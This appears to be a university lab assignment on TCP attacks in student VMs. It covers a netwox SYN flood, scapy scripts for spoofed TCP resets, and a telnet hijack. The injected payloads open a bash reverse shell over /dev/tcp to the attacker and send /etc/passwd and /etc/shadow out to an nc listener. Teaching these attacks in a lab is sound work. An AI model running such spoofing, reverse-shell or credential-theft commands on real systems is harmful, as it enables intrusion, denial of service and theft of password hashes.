# Lab 5

**(Due your class date of June 16/28)**

**Note:** for simplify your work, take a screen shot only if I say so.

**P1 (SYN Flooding Attack).** [**2 points**] We will practice SYN Flooding attack to a telnet server. We use three players (preferably three VMs but it is fine if use three terminals in one VM):

telnet server **S**; attacker **A**; telnet client **C**.

On telnet server **S**:
**Step 1**. Turn off the anti-syn_flooding attack protection:

```
$ sudo sysctl -w net.ipv4.tcp_syncookies=0
```

**Step 2**. check the active tcp connections:

```
$ netstat   -tna
```

(we can see several listening servers including telnet server: **take a screen shot**)

On telnet client **C**:
**Step 3**. telnet to **S**:

```
$ telnet -l     seed      IP_of_S
```

(password: **dees**; we can see that this telnet is successful and fast)

On attacker **A**:
**Step 4**. launch syn flooding attack to **S**

```
$ sudo netwox  76   -i      IP_of_S     -p 23
```

(to understand, read netwox 76 reference file provided to you.)

On telnet server **S**:
**Step 5**. check tcp connections in this machine:

```
$ netstat    -tna
```

(we can see that they are consuming the half open queue: **take a screen shot**)

On telnet client **C** after a while:
**Step 6**. telnet to **S**
we can see that the telnet fails. But ssh is normal:

```
$ ssh  -l   seed   IP_of_S
```

[**Take a screen shot** that shows telnet fails but ssh is ok. ]

**Requirement**: in your report, besides the required screen shots, please use one or two sentences to briefly explain the meaning of each command from step 1-6. Explain in step 6 why telnet fails while ssh is normal.

**P2**. (**Reset Attack to telnet session**) [**1 point**] In this lab exercise, we will run reset attack to telnet session using python code. We will have three players:

telnet client **C**; telnet server **S**; attacker **A**

[**Warning**: In this experiment, C and S need to be different VMs; otherwise, A can not be fast enough to play the reset attack. If you do not have two VMs, you can use PUTTY on your host windows system as your client and telnet to your VM. In this case, you need to use NAT to bridge the communication between your VM and PUTTY. ]

**Step 1**. run telnet from telnet client to telnet server

```
$telnet -l   seed    IP_of_S
```

**Step 2**. run the following code on attacker VM (ref. **reset_auto.py**):

```
#!/usr/bin/python3
from scapy.all import *

def spoof_tcp(pkt):
  IPLayer  = IP(dst="IP_of_C", src=pkt[IP].dst)
  TCPLayer = TCP(flags="R", seq=pkt[TCP].ack, dport=pkt[TCP].sport, sport=pkt[TCP].dport)
  spoofpkt = IPLayer/TCPLayer
  send(spoofpkt, verbose=0)
  print("one packet sent")

pkts=sniff(filter='dst port 23 && src host  IP_of_C', prn=spoof_tcp)
```

**Step 3**. run any command on the telnet session. We can see that the telnet session is broken.

**Requirement**: describe whether telnet succeeds in step 1 and what happens in step 3. Explain why telnet session is broken.

**P3.** [**1 point**] In this lab, we will practise reset attack using netwox 78. We will use two players:

Youtube Client **C** and attacker **A**

**step 1**. watch a youtube video on **C**

**step 2**. From attacker **A**, launch attack to **C**:

```
$ sudo netwox 78 -i  IP_of_C
```

**Requirement**: describe and explain what you observe on your **C**, after you run step 2.

**P4**. (**optional**) In this lab, you will practise the TCP hijacking attack. We will three players:

Telnet Client **C** and telnet server **S** and attacker **A**

/*preferably, run three players on different VMs. To be successful, you need at least two VMs. You can use PUTTY on host OS as **C**, two VMs as **S** and **A** respectively. */

**Step 1**. From **C**, telnet to **S**
**Step 2**. start the wireshark on **A**
**Step 3**. (on **C**) run any command (such as ls) on telnet session.
**Step 4**. stop wireshark on **A**. Find out the last packet pkt0 in the telnet session from **C** to **S**
**Step 5**. copy telnet seq#, ack# and sport from pkt0 to the following code (**hijack_telnet.py**):

```
#!/usr/bin/python3
import sys
from scapy.all import *

iph=IP(src="IP_of_C",dst="IP_of_S")
tcph=TCP(sport=56142,dport=23, flags="A",ack=186451114,seq=3113863285)
#Data="\r  /bin/bash -i  >/dev/tcp/IP_of_A/9090    2>&1    0<&1  \r"
#Data="\r  cat /etc/passwd  >/dev/tcp/ IP_of_A /9090  \r"
Data="\r sudo cat /etc/shadow  >/dev/tcp/IP_of_A/9090  \r"
pkt=iph/tcph/Data
ls(pkt)
send(pkt)
```

**Step 6**. run tcp server at **A** with port# 9090

**$ nc -lvp 9090**

**Step 7**. run the python code on **A**. Then, you should see the file on this VM.

/* after run the code, explain why we copy the **seq#**, **ack#**, **sport#** from pkt0. That is, why two packets from the same sender **C** use the same data. In fact, it is the last packet so the receiver did not feed back a packet with seq equal to **ack#**; also the seq # has no change as the last packet we see contains no data so tne next sequence number is the current **seq #**. */

**Step 8**. report 1-7 to run another experiment with the first choice:

**Data="\r /bin/bash -i >/dev/tcp/IP_of_A/9090 2>&1 0<&1\r"**

In this case, you should see that the telnet session is taken over by tcp server of **step 6**.

**Requirement**: For each experiment here, explain the idea of hijack attack. Also take a screen shot for your final result as evidences for your success in attacks. In particular, for stealing the file setting, take a screen shot for the file displayed on the attacker VM; for the telnet hijacking case (step 8), take screen shot of the tcp server after successfully taking over the telnet session (as a client).